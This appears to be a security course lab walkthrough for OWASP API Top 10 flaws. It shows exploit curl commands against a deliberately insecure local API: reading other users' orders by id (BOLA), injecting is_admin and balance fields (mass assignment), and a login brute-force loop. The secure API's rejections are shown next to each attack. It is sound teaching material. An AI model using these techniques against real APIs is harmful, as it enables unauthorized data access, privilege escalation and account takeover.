Week 10 · attack

Week 10 — API Security: Attack Walkthrough

← all weeks · worksheet · readme · slides

Week 10 — API Security: Attack Walkthrough

Start the labs:

docker compose up        # INSECURE on :8080, SECURE on :8081

Seeded users: alice (id 1), bob (id 2), carol (id 3, admin, balance 9999).


API1:2023 — Broken Object Level Authorization (BOLA)

The insecure API never checks who is asking. Read carol's (admin) orders as nobody:

# INSECURE — leaks any user's orders by changing the id
curl http://localhost:8080/api/users/3/orders
curl http://localhost:8080/api/users/2/orders

On the secure API the same request is rejected unless you own the object:

# 401 — no identity
curl -i http://localhost:8081/api/users/3/orders

# 403 — alice (id 1) may not read carol's (id 3) orders
curl -i -H "X-User-Id: 1" http://localhost:8081/api/users/3/orders

# 200 — alice reading her own orders is allowed
curl -i -H "X-User-Id: 1" http://localhost:8081/api/users/1/orders

API3:2023 — Mass Assignment (Broken Object Property Level Auth)

Smuggle privileged fields the client should never control:

# INSECURE — we set is_admin + balance ourselves
curl -X POST http://localhost:8080/api/users \
  -H "Content-Type: application/json" \
  -d '{"username":"mallory","password":"x","is_admin":true,"balance":1000000}'
# -> response shows "is_admin": true, "balance": 1000000

On the secure API only allow-listed fields bind; server forces the rest:

curl -X POST http://localhost:8081/api/users \
  -H "Content-Type: application/json" \
  -d '{"username":"mallory","password":"x","is_admin":true,"balance":1000000}'
# -> "is_admin": false, "balance": 0   (smuggled fields ignored)

API4:2023 — Unrestricted Resource Consumption (no rate limit)

Brute-force the login endpoint — the insecure API never throttles:

# INSECURE — runs as many guesses as you like
for pw in wrong1 wrong2 wrong3 alice123; do
  curl -s -X POST http://localhost:8080/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"alice\",\"password\":\"$pw\"}"; echo
done

On the secure API the 6th attempt within 60s returns 429 Too Many Requests:

for i in $(seq 1 7); do
  curl -s -o /dev/null -w "%{http_code}\n" -X POST http://localhost:8081/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"alice","password":"wrong"}'
done
# -> 401 401 401 401 401 429 429

Deliverable

Map each finding to the OWASP API Top 10 id, show the exploit curl, then show the fix in solution_api.py that defeats it.